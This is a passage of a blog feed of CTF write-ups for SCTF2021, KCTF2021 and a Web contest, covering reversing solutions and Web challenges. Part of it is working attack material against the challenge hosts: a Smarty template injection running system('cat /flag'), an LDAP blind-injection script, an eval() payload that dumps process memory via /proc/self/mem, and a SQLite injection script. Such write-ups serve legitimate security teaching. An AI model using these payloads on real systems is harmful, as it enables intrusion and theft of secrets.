= pattern.findall(line.decode()) a = [(int(_[0]), int(_[1]), int(_[2])) for _ in a] list_2.append(a) fp.close() fp = open(\u0026#39;pic3\u0026#39;, \u0026#39;wb\u0026#39;) for i in range(len(list_1)): a, b = wx_list_1[i], list_1[i] c, d = wx_list_2[i], list_2[i] for j in range(len(a)): r1, g1, b1 = a[j] r2, g2, b2 = b[j] r3, g3, b3 = c[j] r4, g4, b4 = d[j] r0 = r2 ^ r1 ^ r3 ^ r4 g0 = g2 ^ g1 ^ g3 ^ g4 b0 = b2 ^ b1 ^ b3 ^ b4 if r0 != 0: r0, b0, g0 = 255, 255, 255 # # c0 = chr(ord(c1) ^ ord(c2)) payload = \u0026#39;[38;2;%d;%d;%dm▇\u0026#39; % (r0, g0, b0) fp.write(b\u0026#39;\\x1b\u0026#39; + payload.encode()) fp.write(\u0026#39;\\n\u0026#39;.encode()) in_the_vaporwaves 用国赛的华为音响播放（应该是个非预期）直接听到了莫斯码，录音下来的结果\n摩斯码：\n.../-.-./-/..-./-.././.../.----/.-./...--/..--.-/-../.-./../...-/./.../..--.-/../-./-/-----/..--.-/...-/.-/.--./---/.-./.--/.--.-./...-/./... 解莫斯码得到flag\nlow_re vmp 壳，根据题目描述，应该无法逆向出正确的逻辑，什么信息都没有的情况下想到用 pintools 来试试，手动尝试发现长度是 17 位，并且指令数量差异很明显\n按位爆破：\nimport subprocess import string password = \u0026#34;S1deCh4nnelAtt@ck\u0026#34; cur = 17 charset = string.digits + string.ascii_letters + string.punctuation for i in charset: command = \u0026#34;echo \u0026#34; + password[:cur] + i + password[cur + 1:] + \u0026#34; | ./pin.exe -t source/tools/ManualExamples/obj-intel64/inscount0.dll -- ./low_re.exe; cat inscount.out\u0026#34; output = subprocess.check_output(command, shell=True, stderr=subprocess.PIPE) print (password[:cur] + i, output) 指令数量差异很明显，可以直接猜测单词加快速度\n","date":"2021-12-28T16:23:17+08:00","image":"https://or4ngesec.github.io/post/sctf2021-writeup-by-or4nge/cover_hu20e70d2f1ec0ceae4e2274ecf0db6e8c_615875_120x120_fill_box_smart1_3.png","permalink":"https://or4ngesec.github.io/post/sctf2021-writeup-by-or4nge/","title":"SCTF2021 Writeup by or4nge"},{"content":"转载自战队成员博客: https://s0uthwood.github.io/post/two-challenges-in-kctf2021-fall/\n第一题 签到 这题还是比较容易的，需要一点点动调的经验\n上张队友的截图吧，懒得自己截了\n动调看看内存就知道，流程是：\nserial-\u0026gt;十进制-\u0026gt;与name的crc异或-\u0026gt;计算crc\n最后需要是一个固定的值，于是只需要想办法反解就行了\n这里注意到了一个事情，那就是图中看似是对 v6 的 crc 结果做了约束，其实是对 v6 本身进行了约束\n由于题目给了一个实例的 name 和 serial，我们只需要动调拿到这个的 v6，就知道能通过验证的 v6 是多少了\n接下来动调拿一下 KCTF 的 crc，这个的结果再异或一下目标的 v6，就得到serial了\n靠记忆写的，希望没错\n第二题 迷失丛林 这题就直接放提交的wp了\n很容易定位到程序的输入\n输入长度为32，需要通过 sub_4014A0, sub_401580 的验证\n4014A0 较为简单，是个经典的hexstr转成char存到 4041F0 这个地址，最后的16是计算转换后的长度，所以输入就是 [0-9A-F]{32}\n随后将输入的前八字节存入 404000 中，剩下的部分传参进 sub_401580\n要想让该函数返回1，需要先通过如下的if验证\n简单看一下使用的变量，应该是对前八字节的输入进行的验证\n结合动调发现大概就是根据404000数组，构成一个 \u0026lt;value, index\u0026gt; 的结构，两两存放到404420当中\n分析了一下404000数组的作用和特征，发现这个数组应该是构成一个环状的结构（以当前数值作为索引寻找下一个数），猜测不能有重复的数字，否则可能会构成小循环之类的，用脚本验证了一下发现后面248个数字果然没有重复，于是将前八字节的取值可能锁定到了 0x1e, 0x28, 0x4b, 0x6d, 0x8c, 0xa3, 0xd2, 0xfb 中，总共有 $8!=40320$ 种可能，完全可以爆破\n把ida代码复制下来改一改\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; #include \u0026lt;algorithm\u0026gt; #include \u0026lt;cstring\u0026gt; unsigned char byte_404000[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x9B, 0xF4, 0xDF, 0xAC, 0x7C, 0xA1, 0xC6, 0x16, 0xD0, 0x0F, 0xDD, 0xDC, 0x73, 0xC5, 0x6B, 0xD1, 0x96, 0x47, 0xC2, 0x26, 0x67, 0x4E, 0x41, 0x82, 0x20, 0x56, 0x9A, 0x6E, 0x33, 0x92, 0x88, 0x29, 0xB5, 0xB4, 0x71, 0xA9, 0xCE, 0xC3, 0x34, 0x50, 0x59, 0xBF, 0x2D, 0x57, 0x22, 0xA6, 0x30, 0x04, 0xB2, 0xCD, 0x36, 0xD5, 0x68, 0x4D, 0x5B, 0x45, 0x9E, 0x85, 0xCF, 0x9D, 0xCC, 0x61, 0x78, 0x32, 0x76, 0x31, 0xE3, 0x80, 0xAD, 0x39, 0x4F, 0xFA, 0x72, 0x83, 0x4C, 0x86, 0x60, 0xB7, 0xD7, 0x63, 0x0C, 0x44, 0x35, 0xB3, 0x7B, 0x19, 0xD4, 0x69, 0x08, 0x0B, 0x1F, 0x3D, 0x11, 0x79, 0xD3, 0xEE, 0x93, 0x42, 0xDE, 0x23, 0x3B, 0x5D, 0x8D, 0xA5, 0x77, 0x5F, 0x58, 0xDB, 0x97, 0xF6, 0x7A, 0x18, 0x52, 0x15, 0x74, 0x25, 0x62, 0x2C, 0x05, 0xE8, 0x0D, 0x98, 0x2A, 0x43, 0xE2, 0xEF, 0x48, 0x87, 0x49, 0x1C, 0xCA, 0x2B, 0xA7, 0x8A, 0x09, 0x81, 0xE7, 0x53, 0xAA, 0xFF, 0x6F, 0x8E, 0x91, 0xF1, 0xF0, 0xA4, 0x46, 0x3A, 0x7D, 0x54, 0xEB, 0x2F, 0xC1, 0xC0, 0x0E, 0xBD, 0xE1, 0x6C, 0x64, 0xBE, 0xE4, 0x02, 0x3C, 0x5A, 0xA8, 0x9F, 0x37, 0xAF, 0xA0, 0x13, 0xED, 0x1B, 0xEC, 0x8B, 0x3E, 0x7E, 0x27, 0x99, 0x75, 0xAB, 0xFE, 0xD9, 0x3F, 0xF3, 0xEA, 0x70, 0xF7, 0x95, 0xBA, 0x1D, 0x40, 0xB0, 0xF9, 0xE5, 0xF8, 0x06, 0xBC, 0xB6, 0x03, 0xC9, 0x10, 0x9C, 0x2E, 0x89, 0x5C, 0x7F, 0xB1, 0x1A, 0xD6, 0x90, 0xAE, 0xDA, 0xE6, 0x5E, 0xB9, 0x84, 0xE9, 0x55, 0xBB, 0xC7, 0x0A, 0xE0, 0x66, 0xF2, 0xD8, 0xCB, 0x00, 0x12, 0xB8, 0x17, 0x94, 0x6A, 0x4A, 0x01, 0x24, 0x14, 0x51, 0x07, 0x65, 0x21, 0xC8, 0x38, 0xFD, 0x8F, 0xC4, 0xF5, 0xFC }; unsigned char byte_404220[520]; unsigned char byte_404420[65537]; int dword_404100[] = {2, 4, 8, 0x10, 0x20, 0x40, 0x80, 0}; using namespace std; int sub_401580(unsigned char *a2) { int v2; // ebp unsigned char *v3; // eax int *v4; // esi unsigned char *v5; // ecx int v6; // edi unsigned char *v7; // ecx int v8; // edx unsigned char *v9; // eax int v10; // ecx int v11; // esi int v12; // eax unsigned char v13; // dl int v14; // edi int v15; // eax int v16; // ecx int v17; // esi int i; // eax char v19; // dl unsigned char v21; // [esp+10h] [ebp-Ch] unsigned char v22; // [esp+11h] [ebp-Bh] unsigned char v23; // [esp+12h] [ebp-Ah] unsigned char v24; // [esp+13h] [ebp-9h] unsigned char *v25; // [esp+14h] [ebp-8h] v21 = 0; v22 = 0; v23 = 0; v24 = 0; v2 = 1; v25 = byte_404420; for (i = 0; i \u0026lt; 8; i++) byte_404000[i] = a2[i]; do { byte_404220[0] = byte_404000[v2 - 1]; byte_404220[1] = v2; v3 = byte_404220; v4 = dword_404100; v5 = \u0026amp;byte_404220[dword_404100[0]]; do { v6 = *v4; // 2, 4, 8, 10h, 20h, 40h, 80h if ( *v4 \u0026gt; 0 ) { do { v7 = v5 + 1; *(v7 - 1) = byte_404000[*v3]; *v7 = *v3 + 1; v5 = v7 + 1; ++v3; --v6; } while ( v6 ); } ++v4; } while ( v4 \u0026lt; \u0026amp;(dword_404100[7]) ); v8 = 256; do { ++v25[*v3++]; --v8; } while ( v8 ); ++v2; v25 += 256; } while ( v2 - 1 \u0026lt; 256 ); v9 = \u0026amp;byte_404420[0x28]; v10 = 256; do { if ( *(v9 - 40) ) ++v21; if ( *(v9 - 26) ) ++v22; if ( *v9 ) ++v23; if ( v9[39] ) ++v24; v9 += 256; --v10; } while ( v10 ); if ( v21 == 0xA9 \u0026amp;\u0026amp; v22 == 0xAC \u0026amp;\u0026amp; v23 == 0xA7 \u0026amp;\u0026amp; v24 \u0026gt; 0xC8u ){ for (i = 0; i \u0026lt; 8; i++){ printf(\u0026#34;%hhX\u0026#34;, a2[i]); } } return 0; } int main(){ unsigned char flag[] = {0x1e, 0x28, 0x4b, 0x6d, 0x8c, 0xa3, 0xd2, 0xfb}; do{ memset(byte_404420, 0, 65536); sub_401580(flag); }while (next_permutation(flag, flag + 8)); return 0; } 转换一下得到前八字节 B4D682C8BF2DE13A\n确定前八字节后，只需要关注和参数（后八字节）有关的部分了，中间全部动调跳过\n这一部分程序相较来说就简单了不少，主要是根据404000开头的八个字节作为初始值，每个字节单独与输入的八个字节进行运算，根据末尾bit决定是+1还是找索引，最终目的是凑成 GoodJob~ 这个字符串（sub_4024C0 是个字符串比较）\n可以使用搜索之类的，但考虑到每个字节是单独运算的，常规爆破也只需要 0x800 的运算量，所以还是直接爆破了\n#include \u0026lt;stdio.h\u0026gt; unsigned char byte_414420[] = {0xC1, 0x9B, 0x7F, 0x58, 0x64, 0xD5, 0x77, 0x21}; unsigned char byte_404000[] = { 0xC1, 0x9B, 0x7F, 0x58, 0x64, 0xD5, 0x77, 0x21, 0x74, 0xEB, 0x14, 0xBF, 0xDF, 0x25, 0x5A, 0x37, 0x85, 0x2C, 0xAF, 0x8C, 0xDA, 0x26, 0xE2, 0x7A, 0x87, 0x4C, 0x60, 0x99, 0x54, 0x3C, 0x95, 0xC0, 0xB9, 0x0C, 0xBC, 0x0E, 0xE7, 0x2D, 0x86, 0xBE, 0x67, 0xD3, 0xD8, 0xFC, 0x30, 0xB6, 0xC8, 0x57, 0x1E, 0x62, 0x3E, 0xCE, 0xA0, 0xCD, 0xF5, 0xEE, 0xA7, 0xCF, 0x45, 0xFE, 0xD0, 0x80, 0x05, 0xAD, 0x13, 0xF3, 0xB7, 0x6B, 0x22, 0x2B, 0xBD, 0x69, 0x42, 0x4B, 0xA5, 0xEA, 0xA6, 0xD2, 0x6F, 0x4F, 0x4E, 0x07, 0xE1, 0x36, 0x01, 0xB5, 0xAA, 0xB1, 0x94, 0x0B, 0x35, 0x3A, 0xC7, 0x49, 0x53, 0x82, 0xC3, 0x7B, 0x32, 0xFF, 0x19, 0xC4, 0xF1, 0xC9, 0xE8, 0xF7, 0x56, 0x15, 0xA3, 0x46, 0x89, 0x43, 0x9D, 0x8F, 0x20, 0xEF, 0xBB, 0x2A, 0xCB, 0x09, 0x93, 0x4A, 0x1C, 0xE3, 0x33, 0xD1, 0xE0, 0x1D, 0x72, 0x7C, 0x27, 0xE9, 0x17, 0x28, 0x6D, 0x6A, 0xD9, 0x00, 0x9A, 0xE5, 0x63, 0xDE, 0x23, 0x9F, 0x0D, 0x47, 0x3B, 0x65, 0x08, 0x84, 0x6C, 0x1A, 0x88, 0x12, 0xA1, 0xA4, 0xB3, 0x18, 0x24, 0x1B, 0xD7, 0x44, 0xDB, 0xAC, 0x6E, 0x7D, 0x51, 0x5E, 0xED, 0x50, 0xD6, 0x11, 0x5B, 0x9C, 0xB4, 0x68, 0x3D, 0x2F, 0x03, 0x40, 0xBA, 0x2E, 0xCA, 0x02, 0xE6, 0xA8, 0xEC, 0x83, 0x06, 0x5D, 0xB8, 0x4D, 0x97, 0x66, 0xF0, 0xFB, 0x8A, 0x55, 0xAB, 0xB2, 0x04, 0xFA, 0x0A, 0x31, 0x71, 0xCC, 0x8B, 0x73, 0xA9, 0x48, 0x5C, 0xF9, 0x98, 0xE4, 0xC6, 0x34, 0xC5, 0x7E, 0x81, 0x75, 0x90, 0x1F, 0x92, 0x3F, 0x9E, 0x10, 0x29, 0x52, 0x39, 0xF4, 0x41, 0x78, 0x5F, 0x16, 0x79, 0xC2, 0xB0, 0xDD, 0xF2, 0x61, 0x0F, 0x70, 0xD4, 0x91, 0xDC, 0xF6, 0xF8, 0xFD, 0x59, 0x38, 0x8D, 0x96, 0xAE, 0x8E, 0x76, 0xA2 }; int calc(unsigned char a2, int i){ int v17; // esi char v19; // dl v17 = 0; do { if ( v17 \u0026gt;= 8 ) { if ( !i || i == 7 ) --byte_414420[i]; } else { if ( (a2 \u0026amp; 1) != 0 ) v19 = byte_414420[i] + 1; else v19 = byte_404000[byte_414420[i]]; byte_414420[i] = v19; a2 \u0026gt;\u0026gt;= 1; } ++v17; } while ( v17 \u0026lt; 9 ); return byte_414420[i]; } int main(){ int i = 0; unsigned char a = 0; unsigned char b[] = \u0026#34;GoodJob~\u0026#34;; for (int j = 0; j \u0026lt; 8; j++){ for (i = 0; i \u0026lt; 0x100; i++){ a = i \u0026amp; 0xff; for (int k = 0; k \u0026lt; 8; k++){ byte_414420[k] = byte_404000[k]; } calc(a, j); if (byte_414420[j] == b[j]) printf(\u0026#34;%d %x\\n\u0026#34;, j, a); } } return 0; } 最后得到下半段验证码 D9B6AEF24A80CB22\n第七题 声名远扬 这题做完后懒了，没有交wp\n初步分析了一下，看到一些字符串，发现这题用了 duilib 架构\n很多人的 wp 写的是用虚表找到验证函数，但我对虚表不太了解，做题的时候是用的动调下断点的方式做的\n动调的时候搜索字符串，发现能找到输入，然后在输入处下个硬件断点，能够断到 strlen，出来后还能看到 strncpy，但在这里断是不对的，因为没有点击检查，所以无论如何也进不了验证函数，于是朋友在获取消息的地方加了个消息断点，这时候再用硬件断点断下来，然后不断取消当前断点，在 strncpy 到的地方下新的断点，就能够进入到加密函数\n这个 base64 应该还是很容易看出来的，但动调拿结果能发现明显换表了，函数往里跟也不好跟，于是直接用动调拿结果\n这里构造了一个长度为 50 的输入，能够得到所有的 base64 字符\n输入：n++j'^aKgJ9*|an@@o$|8)9z#-;\u0026lt;\u0026lt;v789ghistu:/\u0026gt;^c?,/@YZ\n标准表下的输出：bisraideYUtnSjkqfGFuQEBvJHw4KTl6Iy07PDx2Nzg5Z2hpc3R1Oi8+XmM/LC9AWVo=\n这个输入就可以总结出这个题的 base 表了\nprvo9CHSJOcPIb6xRVUXQz0qBGDE72LNZduaefYT5K_8-4FAhlimjkngt1yMWs3w!\n接下来继续用动调找验证函数\n可以看到 v17 = xxx | 0x3300000000\n而最后的 call 是 MK_FP(WORD2(v17), v17)()\n结合着 32 位程序，猜测是一个天堂之门\n把调用的函数取出来，ida64 反编译一下\n这个函数大致猜测一下，显然是要求 v8 == v9[v28 - a1] 一直成立\n一开始的 do while 循环是对目标密文做了个解密，于是动调到验证的地方看一下内存\nGYldGg-iIoJlPX9hPXpjPqfdEY21B01TBTzeGqfKNR!!\n前面已经知道了 ! 就是这里 base64 的填充，于是这个字符串就是密文了\n换表 base64 的解密\n把表换回来之后的密文：\nZmxhZ3syMDIxLTEwLTA0LXlhbmd5YW5nYnVkZXlpfQ==\n明显的 flag 标志 Zmxh\n","date":"2021-12-23T22:23:17+08:00","image":"https://or4ngesec.github.io/post/kctf2021-fall-writeup-by-or4nge/cover_hufd6827b5e92508a15177056d76ff05d4_2462797_120x120_fill_box_smart1_3.png","permalink":"https://or4ngesec.github.io/post/kctf2021-fall-writeup-by-or4nge/","title":"KCTF2021 Fall Writeup by or4nge"},{"content":"* 开头题目表示赛后补题\nWeb [签到]flag 等一个一个拼出来，业余web手的笨B做题法\n[萌]odd_upload 题目描述：目录结构与官方项目example相同\n所以去查看smarty的目录结构，同时上传文件发现过滤了php相关的很多后缀，但.tpl没有过滤，同时可以控制上传的目录，所以向./templates目录上传header.tpl覆盖原有的内容，添加一句：{system('cat /flag')}，之后再重新访问题目链接就能获取flag。\nflag{1ae85554-c785-4321-8d77-0f68974929f8}\neasyinject 源码中提示了用户名为guest，密码为EC77k8RHquAMLKAX，登陆后提示\nThe flag is a special email address username.It is attribute of one account and there are multiple accounts in the directory. flag is composed of a-z0-9_\n说实话这个提示看得我云里雾里，attribute我能理解，directory是啥？\n按照常规sql注入没发现什么注入点，但是用fuzz跑的时候发现如果用户名含有\u0026rsquo;(\u0026lsquo;或者\u0026rsquo;)\u0026lsquo;就会报错：\nWarning: ldap_search(): Search: Bad search filter in /var/www/html/index.php on line 48 Warning: ldap_get_entries() expects parameter 2 to be resource, boolean given in /var/www/html/index.php on line 49 有报错就好说了，后端用的是ldap协议，flag是某个用户的用户名，可以直接用通配符*盲注，由于有多个用户，需要递归查找，exp如下：\nimport requests url = \u0026#34;http://47.106.172.144:2333/\u0026#34; alphabet = \u0026#39;abcdefghijklmnopqrstuvwxyz0123456789_\u0026#39; def search(flag): for c in alphabet: # print(flag+c+\u0026#39;*\u0026#39;) r = requests.get(url, params={\u0026#39;user\u0026#39;:flag+c+\u0026#39;*\u0026#39;, \u0026#39;pass\u0026#39;:\u0026#39;1\u0026#39;}) if \u0026#39;找不到用户\u0026#39; in r.text: pass elif \u0026#39;查询用户不唯一\u0026#39; in r.text or \u0026#39;密码错误\u0026#39; in r.text: # print(c+\u0026#39;\\n\u0026#39;+r.text) print(flag+c) search(flag+c) else: print(\u0026#39;Error: [\u0026#39;+c+\u0026#39;]\\n\u0026#39;+r.text) search(\u0026#39;\u0026#39;) *hideandseek 和web没有啥关系，和二进制全是关系。\n先附上打本地的DockerFile:\nFROM php:8.1.0 ADD ./src /var/www/html ADD ./flag /flag WORKDIR /var/www/html/ RUN chmod -R 0555 /var/www/html/ CMD [\u0026#34;php\u0026#34;, \u0026#34;-S\u0026#34;, \u0026#34;0.0.0.0:8000\u0026#34;, \u0026#34;-t\u0026#34;, \u0026#34;/var/www/html\u0026#34;] 这题上先读flag，然后把flag给覆盖了，你只有一次执行任意代码的机会。\n思路上来一下子就指向了/proc，进程目录，我们肯定是能通过分析这个进程把flag拿到了。目前已知的/proc的博客有：\nhttps://whoamianony.top/2021/06/09/Web%E5%AE%89%E5%85%A8/Proc%20%E7%9B%AE%E5%BD%95%E5%9C%A8%20CTF%20%E4%B8%AD%E7%9A%84%E5%A6%99%E7%94%A8/\nhttps://xz.aliyun.com/t/10579\n第一反应是读fd，看看文件的符号链接，如果fopen了，但没fclose就有可能在fd里找到，本地一试发现没有。\n于是考虑利用别的，比如./exe，是一个ELF文件，但可惜strings ./exe没用，因为flag变量是在运行时读取的，生成elf是不存在这个字符串的，于是就读./mem，/proc/{PID}/mem是可用于访问进程的内存的页面。但是发现读取失败了，报错如下：\ncat mem: Input/output error 搜到了解释原因：https://unix.stackexchange.com/questions/6301/how-do-i-read-from-proc-pid-mem-under-linux\n/proc/$pid/mem显示$pid 内存的内容与进程中的映射方式相同，即伪文件中偏移x处的字节与进程中地址x处的字节相同。如果在进程中未映射地址，则从文件中的相应偏移量读取返回EIO（输入/输出错误）。例如，由于进程中的第一页永远不会被映射（因此取消引用NULL指针会完全失败，而不是无意中访问实际内存），因此读取 的第一个字节/proc/$pid/mem总是会产生 I/O 错误。\n同时也拿到了一份用python拿内存信息的脚本：\nimport re maps_file = open(\u0026#34;/proc/self/maps\u0026#34;, \u0026#39;r\u0026#39;) mem_file = open(\u0026#34;/proc/self/mem\u0026#34;, \u0026#39;rb\u0026#39;, 0) output_file = open(\u0026#34;self.dump\u0026#34;, \u0026#39;wb\u0026#39;) for line in maps_file.readlines(): # for each mapped region m = re.match(r\u0026#39;([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])\u0026#39;, line) if m.group(3) == \u0026#39;r\u0026#39;: # if this is a readable region start = int(m.group(1), 16) end = int(m.group(2), 16) mem_file.seek(start) # seek to region start chunk = mem_file.read(end - start) # read region contents output_file.write(chunk) # dump contents to standard output maps_file.close() mem_file.close() output_file.close() 我盲猜flag就在内存里，但我也不是打二进制的，也不知道在哪，于是就打算把整个chunk全部正则匹配即可。\n把上述代码翻译成php，修改部分内容如下：\n\u0026lt;?php $maps_file = fopen(\u0026#34;/proc/self/maps\u0026#34;, \u0026#34;r\u0026#34;); $mem_file = fopen(\u0026#34;/proc/self/mem\u0026#34;, \u0026#34;rb\u0026#34;); while(! feof($maps_file)) { $line = fgets($maps_file);//fgets()函数从文件指针中读取一行 $m = preg_match(\u0026#34;/([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])/\u0026#34;, $line, $match); if($match[3] == \u0026#39;r\u0026#39;) { $start = hexdec($match[1]); $end = hexdec($match[2]); fseek($mem_file, $start); $chunk = fread($mem_file, $end - $start); if(preg_match(\u0026#34;/flag\\{.*\\}/\u0026#34;, $chunk)) { preg_match(\u0026#34;/(flag\\{.*\\})/\u0026#34;, $chunk, $ans); var_dump($ans); } } } fclose($maps_file); fclose($mem_file); ?\u0026gt; 最后用base64+urlencode传参（有了安洵杯的教训，base64一定要编码），最终payload如下：\nhttp://5b599005-3dfe-44e4-ac13-96fc3b194f3e.nssctf.neusoft.edu.cn/?eval=eval(base64_decode(%22JG1hcHNfZmlsZSA9IGZvcGVuKCIvcHJvYy9zZWxmL21hcHMiLCAiciIpOwokbWVtX2ZpbGUgPSBmb3BlbigiL3Byb2Mvc2VsZi9tZW0iLCAicmIiKTsKd2hpbGUoISBmZW9mKCRtYXBzX2ZpbGUpKSB7CiAgICAgICAgJGxpbmUgPSBmZ2V0cygkbWFwc19maWxlKTsvL2ZnZXRzKCnlh73mlbDku47mlofku7bmjIfpkojkuK3or7vlj5bkuIDooYwKICAgICAgICAgICAgJG0gPSBwcmVnX21hdGNoKCIvKFswLTlBLUZhLWZdKyktKFswLTlBLUZhLWZdKykgKFstcl0pLyIsICRsaW5lLCAkbWF0Y2gpOwogICAgICAgICAgICBpZigkbWF0Y2hbM10gPT0gJ3InKSB7CiAgICAgICAgICAgICAgICAgICAgJHN0YXJ0ID0gaGV4ZGVjKCRtYXRjaFsxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRlbmQgPSBoZXhkZWMoJG1hdGNoWzJdKTsKICAgICAgICAgICAgICAgICAgICAgICAgZnNlZWsoJG1lbV9maWxlLCAkc3RhcnQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNodW5rID0gZnJlYWQoJG1lbV9maWxlLCAkZW5kIC0gJHN0YXJ0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2goIi9mbGFnXHsuKlx9LyIsICRjaHVuaykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2goIi8oZmxhZ1x7LipcfSkvIiwgJGNodW5rLCAkYW5zKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyX2R1bXAoJGFucyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KfQpmY2xvc2UoJG1hcHNfZmlsZSk7CmZjbG9zZSgkbWVtX2ZpbGUpOw%3D%3D%22)); *wschat 前后端交互用的是socket io，参数格式用的是protobuf，前端的js加了很多混淆和反调试。可以在这个网站https://lelinhtinh.github.io/de4js/做个简单的恢复后再看。\n贴一下我恢复后的还算是能看的关键代码：\n\u0026lt;html\u0026gt; ... \u0026lt;script src=\u0026#34;//cdn.bootcss.com/socket.io/2.1.1/socket.io.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;protobuf.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; ... let sock = io.connect(\u0026#39;ws://\u0026#39; + window.location.host + \u0026#39;/\u0026#39;); var WSMessage, wsmessage, buffer; protobuf.load(\u0026#39;chat.proto\u0026#39;, function (err, _0x75e501) { if (err) throw err; LoginReq = _0x75e501.lookup(\u0026#39;wschat.chat.LoginReq\u0026#39;), RegReq = _0x75e501.lookup(\u0026#39;wschat.chat.RegReq\u0026#39;), ServerRsp = _0x75e501.lookup(\u0026#39;wschat.chat.ServerRsp\u0026#39;), MsgReq = _0x75e501.lookup(\u0026#39;wschat.chat.MsgReq\u0026#39;), LogoutReq = _0x75e501.lookup(\u0026#39;wschat.chat.LogoutReq\u0026#39;); }), window.onload = function () { let _0x1f4215 = \u0026#39;\u0026#39;, btn1 = document.getElementById(\u0026#39;btn1\u0026#39;), btn2 = document.getElementById(\u0026#39;btn2\u0026#39;), btn_send = document.getElementById(\u0026#39;btn_send\u0026#39;), user = document.getElementById(\u0026#39;user\u0026#39;), pass = document.getElementById(\u0026#39;pass\u0026#39;), txt1 = document.getElementById(\u0026#39;txt1\u0026#39;), ul1 = document.getElementById(\u0026#39;ul1\u0026#39;); btn1.onclick = function () { var _0x3689c9 = RegReq.create({ \u0026#39;username\u0026#39;: user.value, \u0026#39;password\u0026#39;: pass.value }), _0x38c60d = RegReq.encode(_0x3689c9).finish(); sock.emit(\u0026#39;reg\u0026#39;, _0x38c60d.slice().buffer); }, sock.on(\u0026#39;reg_ret\u0026#39;, (_0x77442, _0x4d8078) =\u0026gt; { _0x77442 ? alert(_0x4d8078) : alert(_0x4d8078); }), btn2.onclick = function () { if (!/^\\w{1,16}$/ [\u0026#39;test\u0026#39;](user.value)) { alert(\u0026#39;用户名不符合规范\u0026#39;); return; } if (!/^\\w{1,16}$/ [\u0026#39;test\u0026#39;](pass.value)) { alert(\u0026#39;密码不符合规范\u0026#39;); return; } var _0xea8ad4 = LoginReq.create({ \u0026#39;username\u0026#39;: user.value, \u0026#39;password\u0026#39;: pass.value }), _0x581e63 = LoginReq.encode(_0xea8ad4).finish(); sock.emit(\u0026#39;login\u0026#39;, _0x581e63.slice().buffer); }, sock.on(\u0026#39;login_ret\u0026#39;, (_0x253784, _0x4ca143) =\u0026gt; { _0x253784 ? alert(_0x4ca143) : (_0x1f4215 = user.value, alert(_0x4ca143)); }), btn_send.onclick = function () { var _0x254c70 = MsgReq.create({ \u0026#39;msg\u0026#39;: txt1.value }), _0x56ebdb = MsgReq.encode(_0x254c70).finish(); sock.emit(\u0026#39;msg\u0026#39;, _0x56ebdb.slice().buffer); }, sock.on(\u0026#39;msg\u0026#39;, (_0x2378cb, _0x4ce8f4) =\u0026gt; { let _0x3ca130 = document.createElement(\u0026#39;li\u0026#39;); _0x3ca130.innerHTML = \u0026#39;\u0026lt;h3\u0026gt;\u0026#39; + _0x2378cb + \u0026#39;\u0026lt;/h3\u0026gt;\u0026lt;p\u0026gt;\u0026#39; + _0x4ce8f4 + \u0026#39;\u0026lt;/p\u0026gt;\u0026#39;, ul1.appendChild(_0x3ca130); }), sock.on(\u0026#39;msg_ret\u0026#39;, (_0x491ba1, _0x25dec1) =\u0026gt; { if (_0x491ba1) alert(\u0026#39;发送失败：\u0026#39; + _0x25dec1); else { let _0x4a7033 = document.createElement(\u0026#39;li\u0026#39;); _0x4a7033.className = \u0026#39;mine\u0026#39;, _0x4a7033.innerHTML = \u0026#39;\u0026lt;h3\u0026gt;\u0026#39; + _0x1f4215 + \u0026#39;\u0026lt;/h3\u0026gt;\u0026lt;p\u0026gt;\u0026#39; + txt1.value + \u0026#39;\u0026lt;/p\u0026gt;\u0026#39;, ul1.appendChild(_0x4a7033), txt1.value = \u0026#39;\u0026#39;; } }); }, setInterval(function () { _0x6c017f(); }, 4000); ... \u0026lt;/script\u0026gt; \u0026lt;/html\u0026gt; 这段代码引入了socket io和protobuf，socket io有reg、reg_ret、login、login_ret、msg、msg_ret事件，传递的参数均使用protobuf打包，看一下protobuf定义文件chat.proto：\npackage wschat; message chat { message LoginReq { required string username = 1; required string password = 2; } message RegReq { required string username = 1; required string password = 2; } message ServerRsp { required int32 retcode = 1; optional string reply = 2; } message MsgReq { required string msg = 1; } message LogoutReq { } } 回到上面的代码，其中登录接口是前端校验，限制用户名密码只能为1-16位字母数字下划线，前端校验可以用burp替换为空。\n题目中提示网站为nodejs + sqlite，尝试一下sqlite注入，首先注册一个用户名密码均为admin的账户，然后用户名输入admin\u0026rsquo;，密码admin，提示数据库出错，用户名尝试admin\u0026rsquo;\u0026ndash;，提示登录成功，存在注入点。\n由于是盲注，socket io实现又很慢，只能硬撸出一个脚本。参考 https://developers.google.com/protocol-buffers/docs/pythontutorial 实现protobuf，参考 https://python-socketio.readthedocs.io/en/latest/ 实现socket io。\n在 https://developers.google.com/protocol-buffers/docs/downloads 下载protoc，然后把.proto文件编译成python文件：\nprotoc -I=chat.proto目录 --python_out=输出目录 chat.proto路径 然后运行脚本：\nimport socketio import time import string import chat_pb2 url = \u0026#39;http://4b89d5d3-7df8-4a8c-9352-08dbc410f835.nssctf.neusoft.edu.cn/\u0026#39; sio = socketio.Client() LoginReq = chat_pb2.chat.LoginReq() RegReq = chat_pb2.chat.RegReq() ServerRsp = chat_pb2.chat.ServerRsp() MsgReq = chat_pb2.chat.MsgReq() LogoutReq = chat_pb2.chat.LogoutReq() # alphabet = string.ascii_letters + string.digits + \u0026#39;{_.,}\u0026#39; # alphabet = string.printable + string.whitespace alphabet = string.ascii_lowercase + string.digits @sio.event def reg_ret(err, data): global _err, _data, recvFlag # print(err, data) _err = err _data = data recvFlag = True @sio.event def login_ret(err, data): global _err, _data, recvFlag # print(err, data) _err = err _data = data recvFlag = True @sio.event def msg(title, content): print(title, content) @sio.event def msg_ret(err, data): 